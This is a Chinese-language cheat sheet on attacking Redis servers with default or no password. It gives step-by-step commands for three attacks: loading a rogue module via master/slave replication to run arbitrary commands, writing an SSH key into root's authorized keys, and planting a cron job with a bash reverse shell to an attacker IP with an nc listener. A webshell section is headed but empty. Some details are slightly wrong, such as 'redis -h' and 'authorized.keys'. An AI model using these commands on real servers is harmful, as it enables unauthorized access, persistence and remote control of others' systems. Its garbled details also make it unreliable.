1、漏洞原理:管理员配置redis时,requirepass使用默认设置
2、redis攻击常用的几个命令:
config get 参数名 //获取配置参数值
config set 配置参数名 值 //设置配置参数值,修改后不需要重启
keys * //获取当前数据库所有键值
del 键名/hash表名/链表名/集合名/有序集合名 //删除指定的(键名、hash
表名、链表名、集合名、有序集合名)
save //保存数据到硬盘,会阻塞客户端请求
bgsave //启动子进程保存数据,同时处理客户端请求
flushdb //删除当前数据库中所有数据
redis攻击主要的配置参数
dir "xxx" // 指定数据文件保存的路径 dbfilename "xxx" //指定数据文件名
3、直接登录redis
redis -h 目标IP -p 端口 -a 密码
4、redis攻击方式
一、任意命令执行;使用master/slave模式加载远程模块,通过动态链接库方式执行任意命令(条件:适用redis4.x/5.0.5之前)
(1)https://github.com/vulhub/redis-rogue-getshell
(2)cd RedisModulesSDK/
(3)make //生成exp.so python3 redis-master.py -r 目标IP -p redis端口 -L 攻击机IP -P 8888 -f RedisModulesSDK/exp.so -c "系统命令"
二、免密登录;写入ssh密钥到root用户的ssh的密钥认证文件中(条件:root身份启动redis+root用户开启密钥登录)
(1)config set dir /root/.ssh // 设置数据文件保存路径为root用户的密钥验证路径:
(2) config set dbfilename authorized.keys //设置数据文件名:
(3) flushdb //清理redis数据 (
4) set x "\n\n\n登录公钥\n\n#" //写入公钥:
(5) save //保存数据:
三、反弹shell;写入定时任务+反弹shell+后提权(猜测允许登录的用户名或root身份启动redis)
(1) config set dir /var/spool/cron //设置数据文件保存路径为/var/spool/cron/
(2) config set dbfilename root //设置数据文件名为 root或允许登录的用户名
(3) flushdb //清理redis数据
(4) set x "\n\n */1 * * * * /bin/bash -i>&/dev/tcp/攻击IP/攻击主机监听端口 0>&1\n\n"
(5) save (6)攻击机开启监听端口 nc -lp xxxx
四、写入webshell